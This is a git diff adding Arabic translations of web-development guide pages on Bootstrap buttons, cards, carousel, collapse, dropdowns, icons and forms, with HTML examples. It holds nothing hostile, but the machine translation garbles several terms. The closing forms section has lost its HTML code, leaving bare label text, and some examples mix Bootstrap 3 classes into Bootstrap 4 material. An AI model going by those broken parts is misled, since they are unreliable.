+هذه قائمة بفئات CSS التي يوفرها bootstrap للأزرار.
+
+`.btn` هذا هو الزر الأساسي في bootstrap.
+
+الأساسية
+
+`.btn-default` هذا هو الزر الافتراضي في bootstrap.
+
+افتراضي
+
+`.btn-primary` هذا هو الزر الأساسي ل bootstrap.
+
+ابتدائي
+
+`.btn-success` هذا هو زر نجاح `.btn-success` .
+
+نجاح
+
+`.btn-info` هذا هو زر معلومات bootstrap.
+
+معلومات
+
+`.btn-warning` وهذا هو زر التحذير في bootstrap.
+
+تحذير
+
+`.btn-danger` هذا هو زر الخطر في `.btn-danger` .
+
+خطر
+
+`.btn-link` هذا هو زر رابط bootstrap.
+
+حلقة الوصل
+
+`.btn-light` هذا هو زر الإضاءة في `.btn-light` .
+
+ضوء
+
+#### أحجام زر Bootstrap:
+
+هذه قائمة بفئات CSS للحجم المختلف للأزرار.
+
+`.btn-lg` هذا هو الزر الكبير في bootstrap.
+
+كبير
+
+`.btn-sm` هذا هو زر صغير في bootstrap.
+
+صغير
+
+`.btn-xs` هذا هو زر صغير إضافي في bootstrap.
+
+صغير جدا
+
+#### أزرار Bootstrap المحددة:
+
+من الممكن أيضًا أن يكون لديك أزرار محددة بدلاً من تلوينها بالكامل. يتم تحقيق ذلك عن طريق وضع `outline` الإصلاح الأوسط بين فئة الزر الذي تريده. سيكون استخدام العينة كما يلي:
+
+`<button type="button" class="btn btn-outline-primary">Primary</button>`
+
+تعتبر الأزرار المحددة جزءًا من Bootstrap منذ الإصدار 4 ، الرجاء التأكد من أنك تستخدم الإصدار الصحيح إذا كنت غير قادر على تشغيلها.
+
+_ملاحظة: لا تقم بتضمين النقطة في سمة فئة HTML ، يتم استخدام الإشارة إلى الفئات ذات النقطة فقط عند ضبط الفئات في CSS._
+
+#### معلومات اكثر:
+
+*   [وثائق أزرار Bootstrap](https://getbootstrap.com/docs/4.0/components/buttons/)
+*   [وثائق مجموعة زر Bootstrap](http://getbootstrap.com/docs/4.0/components/button-group/)
+*   [Bootstrap البدء](/articles/bootstrap/bootstrap-get-started)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/cards/index.md b/client/src/guide/arabic/bootstrap/cards/index.md
new file mode 100644
index 0000000000..097300789e
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/cards/index.md
@@ -0,0 +1,79 @@
+---
+title: Cards
+localeTitle: بطاقات
+---
+## \# بطاقات Bootstrap 4
+
+*   باستخدام Bootstrap 4 يمكنك إنشاء بطاقات.
+    
+*   البطاقات هي مربعات متقاربة مع بعض الحشو حول المحتوى الموجود داخلها ، والتي يمكن استخدامها لعرض مجموعة معينة من المعلومات بسهولة.
+    
+
+##### لإنشاء الأساسية بطاقة التمهيد 4، تحتاج إلى إنشاء `<div>` حاوية مع الطبقة `.card` وداخل آخر `<div>` حاوية مع فئة `.card-body`
+
+###### هذه هي الطريقة التي ستبدو في مستند HTML
+
+ `
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Content</div> 
+ </div> 
+` 
+
+## \### رأس وتذييل الصفحة
+
+يمكن تحسين هيكل البطاقة بإضافة رأس وتذييل. لإضافة أحد هذه العناصر ، يجب عليك إنشاء حاوية `<div>` باستخدام فئة `.card-header` أو `.card-footer` .
+
+###### هذه هي الطريقة التي ستبدو في مستند HTML
+
+ `
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-header">Header content</div> 
+  <div class="card-body">Body content</div> 
+  <div class="card-footer">Footer content</div> 
+ </div> 
+` 
+
+## \### بطاقات مع الصور
+
+*   يمكنك أيضًا استخدام فئات محددة لعرض الصور في البطاقات.
+    
+*   هناك فئتان لهذا الغرض: card-img-top ، والتي تضع صورة على الجزء العلوي من البطاقة ، وبطاقة img-bottom ، والتي تضع الصورة في الأسفل ، وكلاهما يتناسبان مع الحدود المستديرة البطاقة بدقة.
+    
+*   يجب استخدام هذه الفئات مع العلامة `<img>` داخل بطاقة للعمل بشكل صحيح.
+    
+*   ضع في اعتبارك أنه إذا كنت تريد أن تمتد الصورة إلى العرض بالكامل ، فيمكنك إضافة حاوية الصورة خارج الحاوية `<div>` مع فئة بطاقة الجسم.
+    
+
+###### هذه هي الطريقة التي ستبدو في مستند HTML
+
+ `
+<div class="card"> 
+ <!-- content of the card goes here --> 
+ <!-- image on the top of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+  <div class="card-body">Body content</div> 
+ </div> 
+ <div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Body content</div> 
+ <!-- image on the bottom of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-bottom"> 
+ </div> 
+` 
+
+## \### تراكب البطاقات
+
+*   لإنشاء صورة في خلفية البطاقة وعرض النص فوقها ، يلزمك استخدام طبقة - img-overlay على المحتوى ، الذي تريد عرضه فوق الصورة ، بدلاً من استخدام فئة بطاقة الجسم .
+
+###### هذه هي الطريقة التي ستبدو في مستند HTML
+
+ `
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+ <!-- this content is displayed over the image, which is now in the background and covers the whole element --> 
+  <div class="card-img-overlay">Overlay content</div> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/carousel/index.md b/client/src/guide/arabic/bootstrap/carousel/index.md
new file mode 100644
index 0000000000..97014d500e
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/carousel/index.md
@@ -0,0 +1,151 @@
+---
+title: Carousel
+localeTitle: دائري
+---
+## دائري
+
+Carousel عبارة عن مكون عرض شرائح لركوب الدراجات من خلال عناصر مثل الصور أو شرائح النص. يوفر طريقة ديناميكية لتمثيل كمية كبيرة من البيانات (النص أو الصور) عن طريق الانزلاق أو ركوب الدراجات من خلال ، بطريقة سلسة
+
+رمز عينة من شريط التمرير صورة أدناه:
+
+ `
+<html> 
+ <head> 
+ 
+ <!-- BootStrap's minified CSS version --> 
+ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ </head> 
+ 
+ <style> 
+ 
+ .carousel-indicators li 
+ { 
+ background-color:red; 
+ } 
+ 
+ .carousel-indicators .active 
+ { 
+ background-color:blue; 
+ } 
+ 
+ .carousel-indicators .item 
+ { 
+ height:700 px; 
+ width :800 px; 
+ } 
+ </style> 
+ 
+ 
+ <body> 
+  <!-- Declaring div for Carousel to appear inside it --> 
+ <div class="container"> 
+ 
+ <div id="myCarousel" class="carousel slide" data-ride="carousel"> 
+ 
+ <!-- Indicators --> 
+ 
+ <ol class="carousel-indicators"> 
+   <li data-target="#myCarousel" data-slide-to="0" class="active"></li> 
+   <li data-target="#myCarousel" data-slide-to="1" ></li> 
+   <li data-target="#myCarousel" data-slide-to="2"></li> 
+ </ol> 
+ 
+  <!-- Wrapper for Slides  --> 
+ <div class="carousel-inner"> 
+ 
+ <div  class="item active"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506241850/Hello_bootstrap_ohtphr.png" alt="Hello_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613859/devices_bootstrap_nk4zlk.jpg" alt="Device_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613966/responsive_bootstrap_nzuo9l.jpg" alt="Responsive_Bootstrap"> 
+ </div> 
+ 
+ </div> 
+ 
+ <!-- Left and Right Controls for sliding through the slides  --> 
+ 
+ <a class="left carousel-control"  href="#myCarousel" data-slide="prev"> 
+ <span class="glyphicon glyphicon-chevron-left"></span> 
+ </a> 
+ 
+ <a class="right carousel-control"  href="#myCarousel" data-slide="next"> 
+ <span class="glyphicon glyphicon-chevron-right"></span> 
+ </a> 
+ 
+ </div> 
+ </div> 
+ 
+ 
+ <!-- Optional JavaScript --> 
+ <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+ <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+ 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
+ 
+ <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+ </body> 
+ </html> 
+` 
+
+فهم السمات والفئات المستخدمة في المثال أعلاه:
+
+### 1) السمات
+
+a) `data-ride` : - `data-ride ="carousel"` on page load animation to start.
+
+ب) `data-target` : - يشير إلى معرف دائري
+
+ج) `data-slide-to` : - تحدد الشريحة التي تنتقل إليها عند النقر على المؤشرات (نقاط محددة).
+
+### 2) الفصول
+
+أ) `carousel` : - `class="carousel"` يحدد أن div يحتوي على مكتبة دائري.
+
+ب) `slide` : - تضيف هذه الفئة انتقالات CSS.
+
+c) `carousel-inner` : - هذا يدل على قسم الكود الذي سيحمل النص / الصورة ليتم عرضها في شرائح.
+
+د) `item` : - يشير إلى المحتوى المراد عرضه في الرف الدائري.
+
+ه) `left carousal-control` : - وهذا يضيف الزر الخلفي مما يتيح الانزلاق إلى الشريحة السابقة.
+
+f) `right carousal-control` : - يضيف هذا الزر التالي الذي يسمح `right carousal-control` إلى الشريحة التالية.
+
+g) `carousel-caption` : - يسمح لك هذا الفصل بإضافة تسميات توضيحية إلى كل شريحة.
+
+ملاحظة: أضف `class="carousel-caption"` لكل عنصر.
+
+### استعمال
+
+#### 1) عبر سمات البيانات
+
+يتم استخدام سمة `data-ride="carousel"` لوضع علامة على شكل دائري كرسوم متحركة بدءًا من تحميل الصفحة. يقبل `data-slide` الكلمات الرئيسية `prev` أو `next` ، والتي تغير موضع الشريحة بالنسبة إلى موقعها الحالي.
+
+#### 2) عبر JavaScript
+
+اتصل بالرسم المتحرك يدويًا باستخدام:
+
+`$('.carousel').carousel()`
+
+### خيارات
+
+يمكن تمرير الخيارات عبر سمات البيانات أو JavaScript. بالنسبة لسمات البيانات ، قم بإلحاق اسم الخيار `data-` ، كما هو الحال في `data-interval=""` .
+
+بعض الخيارات المستخدمة بشكل متكرر هي:
+
+*   فترة
+*   وقفة
+*   اركب
+*   لف
+
+## تفاصيل اضافية
+
+*   [Bootstrap Carousel](https://getbootstrap.com/docs/4.0/components/carousel/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/collapse/index.md b/client/src/guide/arabic/bootstrap/collapse/index.md
new file mode 100644
index 0000000000..d3947e4443
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/collapse/index.md
@@ -0,0 +1,162 @@
+---
+title: Collapse
+localeTitle: انهدام
+---
+## انهدام
+
+يعد Collapse مكونًا إضافيًا يساعدك في إخفاء العناصر أو إظهارها باستخدام صورة متحركة سلسة. يستخدم المطورون عادةً انهيار bootstrap لإخفاء أو كشف التفاصيل الثانوية لقسم صفحة الويب. على سبيل المثال ، يمكن أن يكون لديك قائمة بالعناصر ذات الأوصاف الطويلة للغاية. عرض كل شيء سوف يستهلك الكثير من المساحة حتى يمكن استخدام انهيار bootstrap لإخفاء ووصف الوصف.
+
+يتم توفير انهيار Bootstrap على أنه ملحق منفصل يسمى collapse.js ، مما يعني أنه يمكن استخدامه خارج بيئة التشغيل. يمكن العثور على البرنامج المساعد نفسه هنا http://getbootstrap.com/2.0.4/javascript.html#collapse.
+
+يمكن استخدام انهيار Bootstrap مع بعض العناصر ، زر ، علامة ارتساء أو لوحة. لاستخدام الانهيار ، تحتاج إلى عنصرين على الأقل ، وسيتحكم عنصر واحد في حالة إخفاء أو كشف العنصر الآخر.
+
+يعمل المكوِّن الإضافي للانهيار عن طريق تغيير الفئة على العنصر القابل للطي. هناك ثلاث فئات محتملة:
+
+*   .collapse - يخفي هذا الفصل العنصر
+*   .collapsing - يتم إرفاق هذه الفئة أثناء الانتقال
+*   .collapse.in - يعرض هذا الفصل العنصر
+
+### كيفية استخدامها
+
+لاستخدام الانهيار ، يمكنك القيام بذلك بطريقتين:
+
+*   باستخدام `href` على العلامة `<a>`
+*   استخدام `data-target` على علامة `<button>`
+
+ستكون القيمة في `href` أو `data-target` هي محدد العنصر الذي سيتم تصغيره. وقرر أنك تستخدم `<a>` أو علامة `<button>` ، يلزم `data-toggle="collapse"` .
+
+يجب أن يحتوي عنصر التصغير على class `.collapse` .
+
+### أمثلة مع الأزرار
+
+ `
+<a class="btn btn-primary" role="button" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Link with href 
+ </a> 
+ <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Button with data-target 
+ </button> 
+ 
+ <div class="collapse" id="collapseExample"> 
+  <div class="well"> 
+    ... 
+  </div> 
+ </div> 
+` 
+
+في المثال أعلاه ، نستخدم زرًا وعلامة ارتساء للتحكم في عنصر div. يحتاج الزر والمرسلان وهما عنصران للتحكم إلى شيئين ، السمة التي تحدد أن عنصر التحكم هو من أجل الانهيار وسمة أخرى لتحديد العنصر الذي يتحكم فيه (يخفي أو يكشف).
+
+كلاهما يحتوي على سمة _تبديل البيانات_ مع _انهيار_ القيمة الذي يحدد أنه سيتم استخدامها لتصغير عنصر. تستخدم علامة الربط خاصية _href_ لتحديد العنصر الذي يتحكم فيه ، بينما يستخدم الزر سمة _بيانات الهدف_ لتحديد العنصر الذي يتحكم فيه.
+
+> يمكنك عرض تجريبي للزر هنا https://www.w3schools.com/bootstrap/tryit.asp؟filename=trybs\_collapsible&stacked=h
+> 
+> يمكنك عرض عرض لعلامة الارتساء هنا https://www.w3schools.com/bootstrap/tryit.asp؟filename=trybs\_collapsible2&stacked=h
+
+## مثال مع الأكورديون
+
+ `
+<div class="panel panel-default"> 
+    <div class="panel-heading" role="tab" id="headingOne"> 
+      <h4 class="panel-title"> 
+        <a role="button" data-toggle="collapse" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne"> 
+          Collapsible Group Item #1 
+        </a> 
+      </h4> 
+    </div> 
+    <div id="collapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingOne"> 
+      <div class="panel-body"> 
+            Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. 
+      </div> 
+    </div> 
+  </div> 
+` 
+
+في المثال أعلاه نستخدم انهيار bootstrap لإنشاء الأكورديون. الأكورديون هو مجرد لوحة bootstrap حيث يتم عرض الرأس ويستخدم للتحكم في جسم اللوحة.
+
+يحتوي رأس اللوحة على علامة ارتساء تستخدم للتحكم في حالة انهيار الجسم. لذا نرفق _مفتاح تبديل البيانات_ لتحديد أن هذا العنصر يستخدم في طي و _href_ لتحديد العنصر الذي يخفيه أو يكشف عنه. يمكننا أيضًا إنشاء مجموعة من اللوحات لإنشاء مجموعة لوحات قابلة للطي.
+
+> يمكنك الاطلاع على عرض تجريبي لانهيار اللوحة هنا https://www.w3schools.com/bootstrap/tryit.asp؟filename=trybs _according_ collion & stacked = h
+
+### عنصر المحتوى
+
+فقرة!
+
+ `
+<p>Lorem ipsum dolar, Free Code Camp rocks... </p> 
+` 
+
+1.  إضافة class `.collapse` إلى أن الفقرة عنصر قابل للطي.
+2.  إضافة `id` لجعل هذا العنصر القابل للطي قابلًا لعنصر وحدة التحكم.
+
+ `
+<p id="myParagraph" class="collapse">Lorem ipsum dolar, Free Code Camp rocks... </p> 
+` 
+
+### عنصر تحكم
+
+الزر!
+
+ `
+<button>Click Me To See Some Magic!</button> 
+` 
+
+1.  إضافة سمة `data-toggle="collapse"` للسيطرة على عنصر قابل للطي.
+2.  إضافة سمة `data-target="#id"` للإشارة إلى العنصر القابل للطي بمعرّفه.
+
+ `
+<button data-toggle="collapse" data-target="#myParagraph">Click Me To See Some Magic!</button> 
+` 
+
+## مثال
+
+ `
+<p> 
+  <a class="btn btn-primary" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Link with href 
+  </a> 
+  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Button with data-target 
+  </button> 
+ </p> 
+ <div class="collapse" id="collapseExample"> 
+  <div class="card card-block"> 
+    Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. 
+  </div> 
+ </div> 
+` 
+
+### استخدامه مع JavaScript
+
+يتيح لك هذا المكون الإضافي استخدامه مع JavaScript حيث تحتاج فقط إلى تحديد العنصر الذي تريد طيه لتمكينه:
+
+ `$('.collapsible-element').collapse(); 
+` 
+
+تقبل طريقة `collapse` كائنًا اختياريًا حيث يمكنك تعيين الحالة الأولية للعنصر القابل للطي. الخيارات هي:
+
+*   `toggle` : سيتم إخفاء العنصر أو إظهاره بناءً على حالته. إذا كانت مخفية ، فسيتم عرضها ، إذا تم إظهارها ، فسيتم إخفاؤها.
+*   `hide` : إخفاء العنصر.
+*   `show` : يعرض العنصر.
+
+ `$('.collapsible-element').collapse('hide'); 
+` 
+
+أيضا هناك بعض الطرق المكشوفة للربط في وظائف الانهيار:
+
+*   `show.bs.collapse` : يتم `show.bs.collapse` فورًا عندما يتم استدعاء طريقة مثيل `show` .
+*   `shown.bs.collapse` : يتم `shown.bs.collapse` عندما يكون عنصر الانهيار مرئياً للمستخدم (سوف تنتظر حتى تكتمل انتقالات CSS).
+*   `hide.bs.collapse` : تم `hide.bs.collapse` فورًا عند استدعاء طريقة `hide` .
+*   `hidden.bs.collapse` : تم `hidden.bs.collapse` عندما يكون عنصر الانهيار مخفيًا عن المستخدم (سينتظر اكتمال انتقالات CSS).
+
+ `$('.collapsible-element').on('show.bs.collapse', function() { 
+  // for example you want to make an AJAX call to get some data to put in the collapsible element. 
+ }) 
+` 
+
+### انظر في العمل
+
+![نص بديل](https://github.com/figengungor/Gif/blob/master/freeCodeCamp/bootstrap/collapse/collapse.gif)
+
+#### معلومات اكثر:
+
+[دليل Bootstrap 4 الرسمي على Collapse](https://v4-alpha.getbootstrap.com/components/collapse/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/dropdowns/index.md b/client/src/guide/arabic/bootstrap/dropdowns/index.md
new file mode 100644
index 0000000000..0e9b19d24b
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/dropdowns/index.md
@@ -0,0 +1,38 @@
+---
+title: Dropdowns
+localeTitle: هبوط قطرة
+---
+## هبوط قطرة
+
+يوفر Bootstrap Dropdowns كمكوِّن إضافي لعرض قوائم الروابط. القائمة المنسدلة عبارة عن زر يتحول لعرض قائمة من الارتباطات.
+
+تم تصميم القوائم المنسدلة في Bootstrap لتكون عامة وقابلة للتطبيق على مجموعة متنوعة من المواقف. على سبيل المثال ، من الممكن إنشاء قوائم منسدلة تحتوي على حقول بحث أو نماذج تسجيل دخول.
+
+## مثال
+
+ `
+<div class="dropdown"> 
+  <button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> 
+    Dropdown example 
+  </button> 
+  <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> 
+    <a class="dropdown-item" href="#">Action</a> 
+    <a class="dropdown-item" href="#">Another action</a> 
+    <a class="dropdown-item" href="#">Something else here</a> 
+  </div> 
+ </div> 
+` 
+
+## شرح المثال
+
+يشير _تصنيف .dropdown_ إلى قائمة منسدلة.
+
+لفتح القائمة المنسدلة ، استخدم زرًا أو رابطًا مع فصل من. _تبديل-downdown_ و to _\-toggle = "_ سمة _dropdown_ .
+
+تقوم فئة _.caret_ بإنشاء رمز سهم علامة إقحام (▼) ، مما يشير إلى أن الزر عبارة عن قائمة منسدلة.
+
+أضف فئة _.dropdown-menu_ إلى عنصر قائمة غير مرتبة لإنشاء القائمة المنسدلة.
+
+#### معلومات اكثر:
+
+https://getbootstrap.com/docs/4.0/components/dropdowns/
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/fontawesome-icons/index.md b/client/src/guide/arabic/bootstrap/fontawesome-icons/index.md
new file mode 100644
index 0000000000..d1f564e7d7
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/fontawesome-icons/index.md
@@ -0,0 +1,39 @@
+---
+title: Fontawesome Icons For Bootstrap
+localeTitle: أيقونات Fontawesome ل Bootstrap
+---
+## أيقونات Fontawesome ل Bootstrap
+
+وقد أسقط Bootstrap (الإصدار 4) خط رموز Glyphicon في الإصدار الأخير. توفر لك Fontawesome Icons أكثر من 675 رمزًا ، وهي تأتي بتنسيق الخط.
+
+#### كيف تستعمل:
+
+في `<head>` من html الخاص بك تتضمن مرجع إلى Font Awesome.
+
+ `
+<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> 
+` 
+
+استخدام fontawesome هو نفس استخدام Glyphicon.
+
+ببساطة قم بإنشاء علامة `<i>` أو `<span>` وقم بتطبيق CSS Prefix `fa` واسم الرمز. تم توفير مثال على التعليمات البرمجية أدناه.
+
+**مثال الكود:**
+
+`<i class="fa fa-twitter" aria-hidden="true"></i>`
+
+`<span class="fa fa-freecodecamp" aria-hidden="true"></span>`
+
+#### قائمة أيقونة Fontawesome:
+
+قائمة كاملة من الرموز المقدمة من قبل fontawesome متاحة [هنا](http://fontawesome.io/cheatsheet/)
+
+`.fa fa-align-left` هذا هو المحاذاة الغامضة في أيقونة اليسار.
+
+`.fa fa-heart` هذا هو رمز قلب رائع.
+
+_ملاحظة: لا تقم بتضمين النقطة في سمة فئة HTML ، يتم استخدام الإشارة إلى الفئات ذات النقطة فقط عند ضبط الفئات في CSS._
+
+#### معلومات اكثر:
+
+[Fontawesome Cheatsheet](http://fontawesome.io/cheatsheet/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/form-inputs/index.md b/client/src/guide/arabic/bootstrap/form-inputs/index.md
new file mode 100644
index 0000000000..1e23221ee0
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/form-inputs/index.md
@@ -0,0 +1,135 @@
+---
+title: Form Inputs
+localeTitle: مدخلات النموذج
+---
+## مدخلات النموذج
+
+يدعم Bootstrap عناصر تحكم النموذج التالية:
+
+1.  إدخال
+2.  تيكستاريا
+3.  مربع
+4.  راديو
+5.  تحديد
+
+## مثال على قصاصات الشفرات
+
+#### 1\. الإدخال
+
+يدعم Bootstrap جميع أنواع مدخلات HTML5: نص ، وكلمة مرور ، و datetime ، و datetime-local ، و date ، و month ، و time ، و week ، و number ، و email ، و url ، و search ، و tel ، و color.
+
+**ملاحظة: لن يتم تصميم المدخلات بالكامل إذا لم يتم الإعلان عن نوعها بشكل صحيح!**
+
+يحتوي المثال التالي على عنصرين إدخال ؛ واحد من نوع النص وواحد من نوع كلمة المرور:
+
+ `
+<div class="form-group"> 
+  <label for="usr">Name:</label> 
+  <input type="text" class="form-control" id="usr"> 
+ </div> 
+ <div class="form-group"> 
+  <label for="pwd">Password:</label> 
+  <input type="password" class="form-control" id="pwd"> 
+ </div> 
+` 
+
+#### 2\. Textarea
+
+يحتوي المثال التالي على نص:
+
+ `
+<div class="form-group"> 
+  <label for="comment">Comment:</label> 
+  <textarea class="form-control" rows="5" id="comment"></textarea> 
+ </div> 
+` 
+
+#### 3\. مربعات الاختيار
+
+يتم استخدام مربعات الاختيار إذا كنت تريد أن يحدد المستخدم أي عدد من الخيارات من قائمة خيارات الإعداد المسبق.
+
+يحتوي المثال التالي على ثلاثة مربعات اختيار. الخيار الأخير معطل:
+
+ `
+<div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 1</label> 
+ </div> 
+ <div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 2</label> 
+ </div> 
+ <div class="checkbox disabled"> 
+  <label> 
+  <input type="checkbox" value="" disabled>Option 3</label> 
+ </div> 
+` 
+
+استخدم فئة **.checkbox-inline** إذا كنت تريد ظهور مربعات الاختيار على نفس السطر:
+
+ `
+<label class="checkbox-inline"><input type="checkbox" value="">Option 1</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 2</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 3</label> 
+` 
+
+#### 4\. أزرار الراديو
+
+يتم استخدام أزرار الراديو إذا كنت ترغب في تحديد المستخدم إلى تحديد واحد فقط من قائمة خيارات الإعداد المسبق.
+
+يحتوي المثال التالي على ثلاثة أزرار للراديو. الخيار الأخير معطل:
+
+ `
+<div class="radio"> 
+  <label><input type="radio" name="optradio">Option 1</label> 
+ </div> 
+ <div class="radio"> 
+  <label><input type="radio" name="optradio">Option 2</label> 
+ </div> 
+ <div class="radio disabled"> 
+  <label><input type="radio" name="optradio" disabled>Option 3</label> 
+ </div> 
+` 
+
+استخدم فئة **.radio-inline** إذا كنت تريد أن تظهر مربعات الاختيار على نفس السطر:
+
+ `
+<label class="radio-inline"><input type="radio" name="optradio">Option 1</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 2</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 3</label> 
+` 
+
+#### 5\. حدد (قائمة)
+
+يتم استخدام القوائم المحددة إذا كنت تريد السماح للمستخدم بالاختيار من بين خيارات متعددة.
+
+يحتوي المثال التالي على قائمة منسدلة (حدد القائمة):
+
+ `
+<div class="form-group"> 
+  <label for="sel1">Select list:</label> 
+  <select class="form-control" id="sel1"> 
+    <option>1</option> 
+    <option>2</option> 
+    <option>3</option> 
+    <option>4</option> 
+  </select> 
+ </div> 
+` 
+
+## كيفية جعل Bootstrap Inputs Accessible
+
+يجب أن تحتوي حقول الإدخال على تصنيفات أو أي شكل آخر من المعرفات مثل علامات WAI-ARIA للوفاء بالويب إرشادات الوصول إلى المحتوى أو [WCAG](https://www.w3.org/WAI/tutorials/forms/) باختصار. مرتب بالنسبة لقارئي الشاشة لنقل المستخدم إلى ما هي التصنيفات المرتبطة بالمدخلات التي تسجلها بدقة يجب أن تشير إلى المدخلات المقابلة.
+
+ويمكن أن يتم ذلك عن طريق utlizing و `for` معلمة في HTML:
+
+ `
+<label for="email-input">Enter Email</label> 
+ <input type="email" class="form-control" id="email-input" placeholder="Enter Email"> 
+` 
+
+التسمية `for` سمة يحيل **دائما** حقل الإدخال عن طريق **المعرف** الخاص به. هذا يخبر قارئ الشاشة أن هذا التصنيف هو بالتأكيد حقل الإدخال هذا الذي سيقلل من الارتباك لأي مستخدم يستخدم قارئ الشاشة لزيارة موقع على شبكة الإنترنت.
+
+### معلومات اكثر:
+
+الأمثلة رمز من [W3Schools - إدخالات نموذج Bootstrap](https://www.w3schools.com/bootstrap/bootstrap_forms_inputs.asp) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/forms/index.md b/client/src/guide/arabic/bootstrap/forms/index.md
new file mode 100644
index 0000000000..d78df78194
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/forms/index.md
@@ -0,0 +1,111 @@
+---
+title: Forms
+localeTitle: إستمارات
+---
+## \## إستمارات
+
+يوفر إطار Bootstrap ميزة نموذجية يمكن للمبرمج استخدامها لإنشاء نماذج html جميلة بسهولة. يمنح استخدام نموذج التمهيد كل عنصر نموذج فردي نمطًا عالميًا موحّدًا. يضيف نموذج Bootstrap التباعد الصحيح وينظر إلى كل عنصر.
+
+يجب أن يكون لكل عنصر نموذج bootstrap عنصر _تحكم في شكل_ فئة. هذه الطبقة هي كيف يعرف bootstrao أي العناصر التي تميل إلى الأسلوب. جميع العناصر النصية مثل **المدخلات، **وجزء**** **النص** **وحدد** والذي لديه _الدرجة تحكم النموذج_ يكون العرض 100٪ افتراضيا. هناك نوعان من نماذج Bootstrap ، وهما:
+
+*   شكل مضمن - يقوم بإنشاء النموذج في سطر واحد. مفيد لنماذج تسجيل الدخول في شريط التنقل
+*   النموذج الأفقي - يقوم بإنشاء نموذج مع كل عنصر في صف مختلف
+
+## مثال على شكل أساسي
+
+\`\` \`أتش تي أم أل
+
+عنوان بريد الكتروني 
+
+كلمه السر 
+
+إدخال الملف 
+
+مثال على نص المساعدة على مستوى الكتلة هنا.
+
+ تفقدني 
+
+خضع
+
+ `## Example of an inline form 
+` 
+
+أتش تي أم أل
+
+اسم 
+
+البريد الإلكتروني 
+
+إرسال دعوة
+
+ `## Example of horizontal form 
+` 
+
+أتش تي أم أل
+
+البريد الإلكتروني
+
+كلمه السر
+
+ تذكرنى 
+
+تسجيل الدخول
+
+ `![Inline Form 2](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form2.PNG) 
+` 
+
+أتش تي أم أل
+
+المبلغ (بالدولار)
+
+$
+
+.00
